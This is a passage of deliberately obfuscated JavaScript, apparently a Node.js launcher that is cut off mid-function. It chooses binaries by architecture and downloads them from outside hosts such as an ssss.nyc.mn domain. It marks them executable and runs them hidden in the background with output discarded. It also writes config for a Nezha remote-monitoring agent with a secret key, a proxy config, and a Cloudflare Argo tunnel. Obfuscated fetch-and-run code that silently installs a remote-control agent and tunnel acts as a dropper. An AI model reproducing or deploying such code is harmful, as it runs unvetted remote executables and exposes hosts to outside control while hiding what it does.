_0x514f67={};_0x514f67[_0xe5fa1b(0x1c2,-0x55,0xfa,0x21a)]='blackhole',_0x514f67[_0x8301ae(0x163,0xe5,0x8c,0x1be)]=_0x2dfd80[_0xe5fa1b(0x249,0xbb,0x162,0x25c)];const _0x1de294={};_0x1de294[_0x8301ae(0x155,0x75,0xa2,0xfa)]=_0x45b438,_0x1de294['inbounds']=[_0xbab6b,_0x1c8d9d,_0x1b6826,_0x50a9d6,_0xd5a60a],_0x1de294[_0x8301ae(0x26e,0x7b,0x1c4,0x25a)]=_0x269caf,_0x1de294[_0x8301ae(0x97,0x147,0xab,-0x1a)]=[_0x2db00c,_0x514f67];const _0x2c2bde=_0x1de294;_0x518bd0[_0xe5fa1b(-0xe7,0x111,0x7e,-0x22)+_0xe5fa1b(0x1a7,-0x74,0x5a,-0xfe)](_0x3da690[_0xe5fa1b(0x13e,0xe1,0x8d,0x120)](_0x206772,_0xe5fa1b(0x28f,0x298,0x21f,0x331)+'n'),_0xe35b67[_0xe5fa1b(0xee,0x56,0x6e,0xfe)](_0x2c2bde,null,-0x7*-0x42+0x1732+-0x18fe));}});});try{await Promise['all'](_0x47aa25);}catch(_0x178b3e){if(_0x57f598(0x28,-0x214,-0xb9,-0xbe)!==_0x30331d[_0x57f598(0x73,0x7f,-0x95,0x9a)]){if(_0x3e5dc7){const _0xe4451c=_0x30331d[_0x57f598(-0xa,0x27,0x135,0x8d)](_0x1472e7,_0x30331d['vcSqE'])?_0x30331d[_0x57f598(0x9d,-0x7,0x8e,0x195)]:_0x30331d[_0x57f598(-0x126,0xd7,-0x10,0x56)],_0x581493={};_0x581493[_0x57f598(-0x28,0x193,0xde,0x1d6)]=_0x54bb6,_0x581493['fileUrl']=_0xe4451c,_0x1d46e9[_0x467296(0x4b9,0x3a4,0x507,0x44c)](_0x581493);}else{const _0x2240b9=_0x30331d['NBmdG'](_0x2fe350,_0x30331d[_0x57f598(0x20d,0x17e,0x105,0xa9)])?_0x30331d[_0x467296(0x335,0x226,0x289,0x1e4)]:_0x30331d[_0x467296(0x3d6,0x4c9,0x4e0,0x3c4)],_0x6d4e20={};_0x6d4e20[_0x467296(0x505,0x5ec,0x64b,0x504)]=_0x41601d,_0x6d4e20['fileUrl']=_0x2240b9,_0x24a154[_0x57f598(0x7d,0x107,0x92,0x1c9)](_0x6d4e20);}}else{console[_0x467296(0x57f,0x657,0x5c4,0x604)](_0x30331d[_0x57f598(-0x6f,-0x71,0x63,0x16a)],_0x178b3e);return;}}function _0x453ec4(_0x1addd7){function _0x552052(_0x419ee7,_0xa65b71,_0x48f152,_0xf5f0d0){return _0x57f598(_0x419ee7-0x1d9,_0xa65b71-0x1b,_0x48f152- -0xcd,_0xf5f0d0);}const _0xae24f0={'vXyli':function(_0x41d111,_0x236873){function _0x258f96(_0x13d207,_0x3d974c,_0xe2684d,_0x291309){return _0x3323(_0xe2684d- -0x296,_0x291309);}return _0x30331d[_0x258f96(0x86,0x12f,0xf7,0x17e)](_0x41d111,_0x236873);},'muenw':_0x30331d[_0x27707c(0x15c,0x138,0x201,0x39)],'CmbNI':_0x30331d[_0x552052(0x65,0x2,-0x35,-0x161)]};function _0x27707c(_0xb324d0,_0x4f1d2a,_0x2e0290,_0x4f1c30){return _0x467296(_0xb324d0- -0x18f,_0x4f1d2a,_0x2e0290-0xd4,_0x4f1c30-0x145);}const _0x72df22=0xfec+-0x99*-0x19+-0xa8*0x2c;_0x1addd7[_0x27707c(0x1b8,0x2f5,0x14a,0x2a5)](_0x5e01dd=>{function _0x3e4d73(_0x983968,_0x28d6a9,_0x5e2bff,_0x8d293e){return _0x27707c(_0x8d293e- -0x194,_0x983968,_0x5e2bff-0x1e5,_0x8d293e-0xf3);}function _0x366a4e(_0x35fad7,_0x4956bf,_0xdec5e7,_0x262053){return _0x552052(_0x35fad7-0x31,_0x4956bf-0x13c,_0x35fad7-0x1b5,_0xdec5e7);}fs[_0x3e4d73(0x21d,0x9e,0x2ba,0x1e8)](_0x5e01dd)&&fs[_0x366a4e(0x109,0x220,0x196,-0x5b)](_0x5e01dd,_0x72df22,_0x12e0b7=>{function _0x56f490(_0x2bf0f8,_0x28c4be,_0x2f7747,_0x100329){return _0x366a4e(_0x2bf0f8-0x2fc,_0x28c4be-0x1c5,_0x2f7747,_0x100329-0x59);}function _0x476dc4(_0x213f4e,_0x2000cc,_0x260f86,_0x52cfea){return _0x366a4e(_0x213f4e- -0x196,_0x2000cc-0x9f,_0x52cfea,_0x52cfea-0x91);}if(_0x12e0b7){if(_0xae24f0[_0x56f490(0x432,0x399,0x331,0x2c8)](_0xae24f0[_0x56f490(0x3d0,0x4b7,0x2ac,0x34c)],_0xae24f0[_0x56f490(0x50d,0x499,0x45b,0x3ed)])){_0x533ffe[_0x56f490(0x424,0x568,0x4d5,0x52c)](_0x56f490(0x342,0x2b1,0x294,0x1e0)+'\x20a\x20file\x20fo'+'r\x20the\x20curr'+_0x56f490(0x567,0x68c,0x5af,0x529)+'ecture');return;}else console['error'](_0x56f490(0x31c,0x312,0x304,0x407)+_0x476dc4(-0x182,-0x157,-0x3d,-0x114)+_0x476dc4(-0x1bf,-0x2d8,-0x21b,-0x1ac)+_0x5e01dd+':\x20'+_0x12e0b7);}else console[_0x476dc4(-0x6e,0x80,-0x23,-0x18)](_0x56f490(0x31c,0x2fb,0x454,0x219)+'t\x20success\x20'+_0x56f490(0x46b,0x522,0x4a7,0x4b4)+_0x5e01dd+':\x20'+_0x72df22[_0x56f490(0x3ee,0x364,0x4ba,0x465)](0x1*0x144b+0x774+-0x1bb7));});});}const _0x13a8ed=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];_0x30331d[_0x57f598(-0x16,-0x17,0xba,0xf2)](_0x453ec4,_0x13a8ed);function _0x467296(_0x22aa7b,_0x13f5ef,_0x9bd6a7,_0x14f16e){return _0x2e882e(_0x22aa7b- -0xa0,_0x13f5ef,_0x9bd6a7-0xb3,_0x14f16e-0x1c2);}if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x1eda34=NEZHA_SERVER[_0x467296(0x3f2,0x3e4,0x534,0x33d)](':')?NEZHA_SERVER['split'](':')[_0x467296(0x501,0x5d9,0x51c,0x44d)]():'',_0x2320ca=new Set([_0x30331d[_0x467296(0x518,0x575,0x5bb,0x4e1)],_0x30331d['LIfpp'],_0x30331d['FfKQG'],_0x30331d['kqIsE'],_0x467296(0x459,0x467,0x49f,0x570),_0x467296(0x579,0x63e,0x531,0x617)]),_0x4a58fc=_0x2320ca[_0x57f598(0x1d9,0xd0,0xd3,0x155)](_0x1eda34)?_0x57f598(-0xe0,-0x270,-0x10a,-0x8b):_0x30331d[_0x467296(0x3f8,0x46f,0x439,0x4ef)],_0x27832c='\x0aclient_se'+_0x467296(0x39b,0x3ab,0x280,0x486)+NEZHA_KEY+(_0x57f598(-0x1a3,-0x196,-0x119,-0x26a)+'lse\x0adisabl'+'e_auto_upd'+_0x467296(0x4f4,0x3ad,0x61e,0x547)+_0x57f598(-0x30,-0x73,-0x42,-0xd3)+_0x467296(0x40e,0x475,0x53f,0x440)+_0x467296(0x370,0x32c,0x365,0x276)+_0x467296(0x442,0x548,0x370,0x5a8)+'orce_updat'+_0x57f598(0x271,0x73,0x154,0x29a)+_0x467296(0x37e,0x40a,0x47e,0x4e4)+'\x20false\x0adis'+_0x57f598(0xd5,0x1c2,0xc5,0x133)+'query:\x20fal'+_0x467296(0x5a2,0x5bc,0x4ee,0x5e6)+_0x57f598(-0x14a,-0x207,-0x13a,-0x1dc)+_0x57f598(-0x97,-0x7,0x48,-0xb1)+_0x467296(0x360,0x383,0x357,0x431)+_0x467296(0x34c,0x284,0x2d9,0x27a)+_0x57f598(0x1ab,0x2e9,0x181,0x9e)+'rt_delay:\x20'+_0x57f598(0x3c,0xd,-0x1d,0xa0))+NEZHA_SERVER+(_0x57f598(-0x24d,-0xf4,-0x122,0x43)+'ection_cou'+_0x57f598(-0x15e,-0x19c,-0x112,-0x108)+_0x57f598(0x123,0xa1,0xf6,0x224)+_0x57f598(0x150,0x5d,0x180,0x61)+_0x57f598(-0x14e,0x18,-0x88,-0x1c)+_0x57f598(-0xbd,0x2d,-0xf6,-0x2a)+_0x57f598(-0x232,-0x60,-0xd3,-0x205))+_0x4a58fc+(_0x467296(0x381,0x45f,0x45a,0x36d)+_0x467296(0x49a,0x58c,0x4b8,0x48c)+'e:\x20false\x0au'+_0x57f598(0x117,0x15a,0x120,0xa4)+_0x57f598(0x41,-0xf6,-0xae,-0x19c)+_0x57f598(0x170,0x6c,0x1d,-0x101)+'id:\x20')+UUID;fs['writeFileS'+_0x57f598(-0x49,-0xc3,-0xa8,-0x1b9)](path[_0x57f598(0x9c,-0x99,-0x75,-0x186)](FILE_PATH,_0x30331d[_0x57f598(-0xbc,-0xb4,-0x26,-0x168)]),_0x27832c);const _0x982dea=_0x57f598(0xf0,0x54,0x157,0xe9)+phpPath+_0x467296(0x43d,0x442,0x526,0x2df)+FILE_PATH+(_0x57f598(-0xb1,-0x3b,-0x12c,-0x23b)+_0x467296(0x327,0x1ca,0x3df,0x3a1)+_0x467296(0x597,0x55c,0x47d,0x61c)+'&');try{await _0x30331d[_0x57f598(-0x38,0x2a,0xba,0x1f9)](exec,_0x982dea),console[_0x467296(0x467,0x3aa,0x56f,0x353)](phpName+(_0x467296(0x3d7,0x4ff,0x3b5,0x4c4)+'g')),await new Promise(_0x4de2f3=>setTimeout(_0x4de2f3,-0xd6*0x2e+0xcdb+-0xd*-0x245));}catch(_0x1c4b06){if(_0x30331d[_0x467296(0x4d7,0x5e3,0x5f0,0x592)](_0x30331d[_0x467296(0x4bc,0x3df,0x458,0x4c6)],_0x30331d[_0x467296(0x435,0x570,0x2d6,0x2cb)]))return null;else console[_0x467296(0x57f,0x522,0x523,0x665)]('php\x20runnin'+'g\x20error:\x20'+_0x1c4b06);}}else{let _0x3dc913='';const _0x243a24=[_0x30331d['TLVCY'],'8443',_0x30331d['FfKQG'],_0x30331d[_0x57f598(0x133,0x3b,0x17,0x25)],_0x30331d[_0x57f598(0x208,0x13f,0x143,0x234)],_0x30331d['sVvxA']];if(_0x243a24[_0x467296(0x3f2,0x50b,0x3dc,0x530)](NEZHA_PORT)){if(_0x30331d[_0x57f598(-0xb3,0x183,0x4a,-0xc7)]===_0x30331d[_0x467296(0x471,0x552,0x54e,0x336)])_0x3dc913=_0x467296(0x386,0x2c0,0x45e,0x370);else return _0x209678[_0x57f598(-0x7a,0x12,0x40,0x7d)](_0x30331d[_0x467296(0x36c,0x3a4,0x41a,0x46b)]),_0x414752;}const _0x2c6e40=_0x467296(0x57e,0x53f,0x669,0x652)+npmPath+'\x20-s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x3dc913+(_0x57f598(0x135,-0xc8,0x91,0x2b)+_0x467296(0x3a5,0x294,0x338,0x4b1)+_0x57f598(0x1fd,0x173,0x138,0x1bc)+_0x467296(0x338,0x21b,0x399,0x481)+'--skip-con'+_0x467296(0x437,0x34d,0x403,0x564)+_0x57f598(-0x9d,-0x37,0x7d,0x135)+'/null\x202>&1'+'\x20&');try{await _0x30331d[_0x57f598(0x12b,0x93,0xf,-0xf0)](exec,_0x2c6e40),console[_0x57f598(-0x46,-0xe7,0x40,0xae)](npmName+(_0x467296(0x3d7,0x439,0x428,0x33c)+'g')),await new Promise(_0x2fe801=>setTimeout(_0x2fe801,0x21*0xce+0x1679+-0x2d1f));}catch(_0x2e2f1a){console['error'](_0x467296(0x39c,0x37e,0x41a,0x4d1)+_0x57f598(0x87,0x1b2,0xff,0x6f)+_0x2e2f1a);}}}else console[_0x57f598(-0xfe,-0x5e,0x40,0x8)]('NEZHA\x20vari'+_0x467296(0x593,0x5e7,0x534,0x56c)+_0x467296(0x581,0x4a7,0x514,0x54f)+_0x467296(0x358,0x4ae,0x297,0x3af));const _0x410049=_0x467296(0x57e,0x4e8,0x532,0x615)+webPath+_0x57f598(-0xb8,0x1ba,0x66,-0x101)+FILE_PATH+(_0x467296(0x457,0x2f8,0x413,0x50e)+_0x467296(0x582,0x5f5,0x62e,0x550)+_0x57f598(-0x45,-0x80,0x1a,0x158));function _0x57f598(_0x22e765,_0x3ce7d2,_0x47cfef,_0x1ce886){return _0x282096(_0x22e765-0x1d,_0x3ce7d2-0x4f,_0x47cfef- -0x195,_0x1ce886);}try{if(_0x30331d[_0x467296(0x35c,0x360,0x4bc,0x28e)]('TGbcj',_0x30331d[_0x467296(0x4d3,0x5f2,0x429,0x4bd)])){const _0x15ff7f={};_0x15ff7f[_0x467296(0x524,0x3f1,0x4cc,0x412)]=!![],_0x4c62fe[_0x57f598(0x5c,-0x1c,0xf3,0xe)](_0x745876,_0x15ff7f);}else await exec(_0x410049),console[_0x467296(0x467,0x4a9,0x413,0x4fc)](webName+(_0x57f598(-0x82,-0x110,-0x50,-0xa2)+'g')),await new Promise(_0x27e8b5=>setTimeout(_0x27e8b5,0x157f+0x1*0x871+-0x188*0x11));}catch(_0x226584){console['error'](_0x57f598(-0x162,-0x134,-0x1b,-0x18)+_0x467296(0x526,0x4ed,0x633,0x5c1)+_0x226584);}if(fs[_0x57f598(-0x74,0x23,0xe4,0xa5)](botPath)){let _0xd36367;if(ARGO_AUTH[_0x57f598(0x169,-0xd1,0x2,0x5a)](/^[A-Z0-9a-z=]{120,250}$/))_0xd36367=_0x57f598(-0x129,0x11,-0x135,-0xcc)+_0x57f598(-0x148,-0x204,-0xab,-0x1cb)+_0x57f598(-0xa,-0xc3,-0xe5,-0x229)+_0x467296(0x50a,0x43c,0x65b,0x41e)+_0x57f598(0x67,-0x17c,-0xda,-0x1a2)+_0x57f598(-0xc3,-0x23c,-0xe2,-0x222)+_0x57f598(0xd9,-0x9a,-0x62,0x73)+'oken\x20'+ARGO_AUTH;else{if(ARGO_AUTH['match'](/TunnelSecret/))_0x30331d[_0x57f598(0xef,0xce,0x13a,0x8d)](_0x30331d['Ltsll'],_0x30331d[_0x467296(0x3d2,0x2f5,0x50d,0x347)])?_0xd36367=_0x57f598(-0x1d0,-0x16c,-0x135,-0x1b5)+_0x57f598(-0x15b,-0x1ec,-0xab,0x32)+_0x467296(0x342,0x3e9,0x48f,0x2c6)+_0x57f598(-0x18,0x16,0x46,0xac)+FILE_PATH+(_0x467296(0x485,0x43b,0x4bd,0x352)+'l\x20run'):_0x52ec6d[_0x57f598(0x124,-0x171,-0x23,0xc0)](_0x30331d[_0x57f598(0x1e5,-0x93,0xbe,0x1b2)]);else{if(_0x30331d[_0x467296(0x561,0x56c,0x551,0x43a)](_0x57f598(0x208,0x30,0x159,0x1fd),_0x57f598(-0x214,-0x155,-0x123,-0x110)))return _0x151539[_0x467296(0x57f,0x606,0x617,0x64d)]('Add\x20automa'+_0x467296(0x3ef,0x481,0x4f9,0x52e)+_0x467296(0x4a3,0x4c4,0x4b8,0x354)+_0x57f598(-0x1b,0x16f,0x38,-0x119)+_0x5b4903[_0x467296(0x3a2,0x4ae,0x491,0x245)]),null;else _0xd36367='tunnel\x20--e'+_0x467296(0x37c,0x38b,0x35e,0x361)+_0x467296(0x342,0x459,0x3d4,0x42c)+'--no-autou'+_0x467296(0x34d,0x3a2,0x3d2,0x3b5)+_0x467296(0x345,0x35d,0x34e,0x3c2)+'p2\x20--logfi'+_0x57f598(0x16b,-0x101,0x29,0xa3)+FILE_PATH+(_0x57f598(0x22d,0x2bf,0x17e,0x2de)+_0x57f598(-0xfd,-0xfe,0x51,0xc4)+'\x20info\x20--ur'+_0x57f598(-0x4a,0x44,0x1f,0xd6)+'ocalhost:')+ARGO_PORT;}}try{if(_0x30331d['INGbD']!==_0x30331d['INGbD']){if(_0x2a1fe0){const _0x484dea=_0x85ccf9[_0x57f598(0x57,-0x16c,-0x109,-0x221)](_0x28f585,arguments);return _0x53982f=null,_0x484dea;}}else await _0x30331d[_0x467296(0x420,0x58a,0x2f0,0x2c6)](exec,_0x57f598(0x149,0x292,0x157,0x280)+botPath+'\x20'+_0xd36367+(_0x57f598(0x1fb,0x1b7,0x171,0x105)+_0x57f598(-0x18c,-0x4c,-0x5f,-0x153))),console[_0x467296(0x467,0x477,0x3c4,0x40a)](botName+(_0x57f598(-0x1ac,0x74,-0x50,0xcb)+'g')),await new Promise(_0x33c384=>setTimeout(_0x33c384,0xd12+-0x1be6+0x16a4));}catch(_0x14d89f){console[_0x57f598(0xb8,0x84,0x158,0x21a)](_0x57f598(0x19,0xba,0xef,0x7b)+_0x467296(0x42a,0x416,0x2f0,0x2f8)+_0x57f598(0xe1,-0x16,0xd4,0x1a4)+_0x14d89f);}}await new Promise(_0x243387=>setTimeout(_0x243387,-0x1554+0x1dc5+0xb17));}function getFilesForArchitecture(_0x598c25){const _0x1cb66c={};_0x1cb66c[_0x53231a(0x707,0x6d6,0x65d,0x623)]=function(_0x56994e,_0x691dbf){return _0x56994e===_0x691dbf;},_0x1cb66c[_0x2a76a0(0x48e,0x54a,0x553,0x607)]=_0x53231a(0x54d,0x49f,0x4cb,0x44a)+_0x2a76a0(0x45c,0x5f9,0x499,0x55e)+_0x53231a(0x60f,0x4ae,0x5fb,0x54b),_0x1cb66c[_0x2a76a0(0x3f9,0x4d8,0x54c,0x57d)]='https://am'+_0x53231a(0x4ed,0x4f2,0x461,0x3f5)+_0x2a76a0(0x488,0x481,0x594,0x527),_0x1cb66c['WdpEZ']='https://am'+'d64.ssss.n'+_0x2a76a0(0x4b1,0x4f6,0x605,0x709);function _0x53231a(_0x774166,_0x1536c6,_0x401569,_0x34a365){return _0x2e882e(_0x34a365- -0x16,_0x1536c6,_0x401569-0x80,_0x34a365-0x1ec);}_0x1cb66c[_0x53231a(0x4e8,0x2f0,0x3c9,0x455)]=function(_0x55ddcd,_0x13be63){return _0x55ddcd&&_0x13be63;},_0x1cb66c[_0x53231a(0x5a7,0x54c,0x550,0x5f3)]=function(_0x50123f,_0x215f6a){return _0x50123f===_0x215f6a;},_0x1cb66c[_0x53231a(0x471,0x5dd,0x597,0x4b2)]=_0x53231a(0x495,0x49e,0x3e7,0x4af),_0x1cb66c[_0x2a76a0(0x316,0x54d,0x480,0x49e)]=_0x2a76a0(0x536,0x60d,0x610,0x6a3)+_0x53231a(0x443,0x4ff,0x3d8,0x3f5)+_0x53231a(0x4b9,0x4d2,0x380,0x3f3)+'t';function _0x2a76a0(_0x16bdd5,_0x20f8d1,_0x32cf6a,_0x497d51){return _0x282096(_0x16bdd5-0x110,_0x20f8d1-0x14f,_0x32cf6a-0x365,_0x16bdd5);}_0x1cb66c[_0x2a76a0(0x438,0x4cb,0x4ec,0x64c)]=function(_0x4fb31b,_0x2069a9){return _0x4fb31b!==_0x2069a9;},_0x1cb66c[_0x53231a(0x4c6,0x461,0x508,0x567)]='Xyvvo',_0x1cb66c['Hsjsd']=function(_0x145627,_0x5a49a9){return _0x145627===_0x5a49a9;},_0x1cb66c[_0x2a76a0(0x56d,0x63f,0x659,0x709)]=_0x53231a(0x557,0x2ee,0x593,0x44a)+_0x53231a(0x4bd,0x420,0x4b4,0x450)+_0x53231a(0x652,0x644,0x57c,0x5b8);const _0x252010=_0x1cb66c;let _0x2a35bd;if(_0x252010[_0x2a76a0(0x566,0x560,0x66c,0x709)](_0x598c25,'arm')){const _0x3005bd={};_0x3005bd[_0x53231a(0x681,0x49b,0x514,0x58f)]=webPath,_0x3005bd[_0x2a76a0(0x782,0x64b,0x67f,0x675)]=_0x252010[_0x53231a(0x556,0x595,0x42d,0x50a)];const _0x184b08={};_0x184b08[_0x2a76a0(0x53e,0x618,0x5d8,0x6f2)]=botPath,_0x184b08[_0x53231a(0x58b,0x53d,0x5ce,0x636)]=_0x53231a(0x2ec,0x47d,0x380,0x44a)+_0x2a76a0(0x483,0x46d,0x499,0x58d)+_0x53231a(0x5ac,0x55a,0x61d,0x5bc),_0x2a35bd=[_0x3005bd,_0x184b08];}else{const _0x19c44f={};_0x19c44f[_0x53231a(0x4e7,0x68f,0x59e,0x58f)]=webPath,_0x19c44f['fileUrl']=_0x252010[_0x53231a(0x3bc,0x4ad,0x62c,0x503)];const _0x48caf8={};_0x48caf8[_0x2a76a0(0x475,0x50b,0x5d8,0x50b)]=botPath,_0x48caf8[_0x2a76a0(0x6d8,0x6dd,0x67f,0x7c6)]=_0x252010[_0x53231a(0x551,0x418,0x652,0x574)],_0x2a35bd=[_0x19c44f,_0x48caf8];}if(_0x252010[_0x53231a(0x449,0x424,0x58f,0x455)](NEZHA_SERVER,NEZHA_KEY)){if(NEZHA_PORT){const _0x3e5549=_0x252010[_0x53231a(0x6b4,0x569,0x501,0x5f3)](_0x598c25,_0x252010[_0x2a76a0(0x5cc,0x43d,0x4fb,0x605)])?_0x2a76a0(0x36e,0x39c,0x493,0x4ce)+'m64.ssss.n'+_0x53231a(0x3ad,0x316,0x402,0x3f3)+'t':_0x252010['GZsFk'],_0x1d876e={};_0x1d876e['fileName']=npmPath,_0x1d876e['fileUrl']=_0x3e5549,_0x2a35bd[_0x2a76a0(0x54f,0x61e,0x58c,0x4a9)](_0x1d876e);}else{if(_0x252010[_0x53231a(0x409,0x58b,0x41c,0x4a3)](_0x252010[_0x2a76a0(0x52c,0x6fa,0x5b0,0x500)],_0x252010[_0x53231a(0x655,0x569,0x53e,0x567)]))_0x48714a=_0x51110d;else{const _0x2f641b=_0x252010[_0x53231a(0x55a,0x44a,0x4b5,0x563)](_0x598c25,_0x252010['gkjvH'])?_0x252010['rbcpR']:_0x2a76a0(0x6e8,0x4bd,0x610,0x5fd)+_0x53231a(0x443,0x4d4,0x366,0x3f5)+'yc.mn/v1',_0x9eb11f={};_0x9eb11f[_0x53231a(0x6b2,0x6ce,0x499,0x58f)]=phpPath,_0x9eb11f['fileUrl']=_0x2f641b,_0x2a35bd[_0x2a76a0(0x52d,0x5cd,0x58c,0x431)](_0x9eb11f);}}}return _0x2a35bd;}function argoType(){const _0x42cc7a={};function _0x1f752d(_0x1ce90c,_0x4acabf,_0x242ca3,_0x5a96ec){return _0x282096(_0x1ce90c-0x52,_0x4acabf-0x11c,_0x4acabf- -0xb1,_0x5a96ec);}_0x42cc7a[_0x17c48c(0x3b4,0x316,0x3c0,0x1b8)]=_0x17c48c(0xfd,0x22b,0x277,0x176)+'n',_0x42cc7a['ZFEfu']=function(_0x324619,_0xdcc4ac){return _0x324619||_0xdcc4ac;},_0x42cc7a[_0x1f752d(-0x2e,0xbc,0x1e1,0x177)]='ARGO_DOMAI'+_0x17c48c(0x4b2,0x3e0,0x31f,0x415)+_0x17c48c(0x256,0x26f,0x1fc,0x29d)+_0x17c48c(0x3c8,0x27d,0x125,0x1b5)+'ty,\x20use\x20qu'+_0x17c48c(0x21b,0x1b2,0x130,0x162)+'s';function _0x17c48c(_0x3c6fe1,_0xede3f6,_0x11bb5e,_0x305f28){return _0x2e882e(_0xede3f6- -0x1ea,_0x11bb5e,_0x11bb5e-0x151,_0x305f28-0x98);}_0x42cc7a[_0x1f752d(0x1fa,0x24c,0x295,0x1ed)]=_0x17c48c(0x4d7,0x446,0x4cf,0x451)+'et',_0x42cc7a[_0x17c48c(0x3c2,0x443,0x4db,0x33e)]=function(_0x39cec5,_0x39cfad){return _0x39cec5!==_0x39cfad;},_0x42cc7a[_0x17c48c(0x4fa,0x423,0x3c1,0x520)]='SgbbX',_0x42cc7a[_0x17c48c(0x516,0x41b,0x321,0x46f)]=_0x1f752d(0xa6,0x19f,0x2e4,0x15e),_0x42cc7a[_0x1f752d(0x1dd,0x1ff,0x30b,0xf8)]=function(_0x570ede,_0xcbab73){return _0x570ede!==_0xcbab73;},_0x42cc7a['MVmrC']='lbBUF',_0x42cc7a[_0x17c48c(0x47c,0x3bc,0x2ba,0x4e4)]='ARGO_AUTH\x20'+_0x17c48c(0x1e0,0x284,0x2ef,0x2bb)+_0x1f752d(0x307,0x1f4,0x302,0x1d2)+'t,use\x20toke'+'n\x20connect\x20'+_0x17c48c(0x29d,0x25e,0x305,0x2f2);const _0x3ac675=_0x42cc7a;if(_0x3ac675[_0x17c48c(0x4a7,0x399,0x2c7,0x4af)](!ARGO_AUTH,!ARGO_DOMAIN)){console[_0x17c48c(0x24b,0x31d,0x284,0x326)](_0x3ac675[_0x17c48c(0x33d,0x2b5,0x2db,0x1ca)]);return;}if(ARGO_AUTH[_0x1f752d(0x1bb,0xaf,-0x14,0xbd)](_0x3ac675[_0x17c48c(0x523,0x445,0x389,0x596)])){if(_0x3ac675[_0x1f752d(0x206,0x24a,0x259,0x185)](_0x3ac675[_0x1f752d(0x247,0x22a,0x144,0x38a)],_0x3ac675[_0x1f752d(0x2ca,0x22a,0x17a,0x36f)])){if(_0x322dba){const _0x4efb86=_0x1183c6[_0x17c48c(0x293,0x1d4,0x20e,0x2b6)](_0x22ea7f,arguments);return _0x13c30e=null,_0x4efb86;}}else{fs[_0x17c48c(0x37e,0x259,0x2ca,0x38b)+'ync'](path['join'](FILE_PATH,_0x3ac675['ZVDaV']),ARGO_AUTH);const _0x4ebc6a='\x0a\x20\x20tunnel:'+'\x20'+ARGO_AUTH[_0x1f752d(0x18e,0x202,0x35f,0x2c2)]('\x22')[-0x7ed+-0xa*0x16f+0x164e]+(_0x17c48c(0x4d1,0x37d,0x292,0x4d3)+_0x1f752d(0x7f,0xf8,0x17c,0x137)+'\x20')+path[_0x1f752d(-0xd1,0x6f,0x179,0x16b)](FILE_PATH,_0x3ac675[_0x17c48c(0x353,0x316,0x24c,0x21d)])+(_0x1f752d(0x68,0x16e,0xa2,0x2ab)+'l:\x20http2\x0a\x20'+'\x20\x0a\x20\x20ingres'+'s:\x0a\x20\x20\x20\x20-\x20h'+'ostname:\x20')+ARGO_DOMAIN+(_0x17c48c(0x327,0x1d7,0x1be,0x2b1)+_0x17c48c(0x199,0x208,0xb2,0x2f3)+_0x17c48c(0x4a2,0x3c4,0x299,0x261)+_0x17c48c(0x211,0x24b,0x1de,0x1aa))+ARGO_PORT+(_0x17c48c(0xcb,0x1b4,0x149,0x79)+_0x17c48c(0x9a,0x1f5,0x207,0x226)+_0x1f752d(-0x31,0x3a,-0x88,0x11b)+_0x17c48c(0x2da,0x3e5,0x2bb,0x3e4)+_0x1f752d(0xdd,0x122,0x161,0x1ae)+'\x20\x20-\x20servic'+_0x17c48c(0x2f9,0x401,0x44b,0x3e0)+_0x1f752d(0x162,0x27,-0xbc,0x47)+'\x20');fs[_0x17c48c(0x108,0x259,0x142,0x1b0)+'ync'](path[_0x1f752d(0x177,0x6f,0x59,-0xb0)](FILE_PATH,_0x3ac675[_0x1f752d(0x1f2,0x222,0x2b2,0x324)]),_0x4ebc6a);}}else{if(_0x3ac675[_0x1f752d(0x359,0x1ff,0x352,0xa0)](_0x3ac675[_0x1f752d(0xbc,0x163,0x1f3,0x1)],_0x3ac675[_0x1f752d(0x19f,0x163,0x212,0x2bb)])){_0x39d503[_0x1f752d(0x198,0x60,0x16e,0x44)+_0x17c48c(0x20f,0x235,0x2ec,0x245)](_0xb92137[_0x17c48c(0x39e,0x268,0x288,0x19e)](_0x2feb0d,_0x1f752d(0x7d,0x32,0xe2,0x15e)+'n'),_0xf2f11b);const _0x36a23c=_0x17c48c(0x429,0x451,0x53e,0x462)+'\x20'+_0x5c872b[_0x17c48c(0x2e6,0x3fb,0x35b,0x375)]('\x22')[-0x2b*-0x4f+-0x3da*0xa+0x194a]+(_0x17c48c(0x3a8,0x37d,0x476,0x466)+_0x17c48c(0x35e,0x2f1,0x384,0x301)+'\x20')+_0x1f1dcc['join'](_0x589db7,_0x3ac675[_0x1f752d(0x34,0x11d,0x1d9,0x72)])+('\x0a\x20\x20protoco'+_0x1f752d(0x3a,0x155,0x235,0x111)+_0x17c48c(0x432,0x30b,0x34b,0x39d)+_0x17c48c(0x373,0x413,0x43e,0x4de)+_0x1f752d(0x1ef,0x1e5,0x1f7,0x23b))+_0x513220+(_0x1f752d(-0x101,-0x22,-0x135,-0xd2)+'vice:\x20http'+_0x17c48c(0x36e,0x3c4,0x3e6,0x39e)+_0x17c48c(0x247,0x24b,0x1a4,0x24e))+_0x4e0646+('\x0a\x20\x20\x20\x20\x20\x20ori'+_0x1f752d(-0x15b,-0x4,-0x13d,0x138)+_0x1f752d(0x145,0x3a,-0x9b,-0x114)+_0x17c48c(0x3cf,0x3e5,0x3e0,0x383)+_0x1f752d(0x1ba,0x122,0x286,-0x3)+'\x20\x20-\x20servic'+_0x1f752d(0xaf,0x208,0x1e1,0x26f)+'atus:404\x0a\x20'+'\x20');_0x1f0a64[_0x17c48c(0x1bb,0x259,0x37b,0x27c)+_0x1f752d(-0xa2,0x3c,0x56,-0x100)](_0x4ff897[_0x17c48c(0x324,0x268,0x294,0x223)](_0x545950,_0x1f752d(0x12f,0x19f,0x116,0x147)),_0x36a23c);}else console['log'](_0x3ac675[_0x1f752d(0x274,0x1c3,0x272,0x25e)]);}}argoType();async function extractDomains(){const _0x25204c={'rikxC':_0x492790(0xd2,0x23a,0x196,0x212)+'N\x20or\x20ARGO_'+_0x276d43(0x2eb,0x427,0x3d8,0x23e)+_0x492790(0x296,0x199,0x10e,0x1c9)+'ty,\x20use\x20qu'+_0x492790(0xdc,0x266,0x249,0xfe)+'s','JoKXF':function(_0x150587,_0x1554bb){return _0x150587!==_0x1554bb;},'Dclaw':'aKciy','JKkad':function(_0x30276b,_0x48856b){return 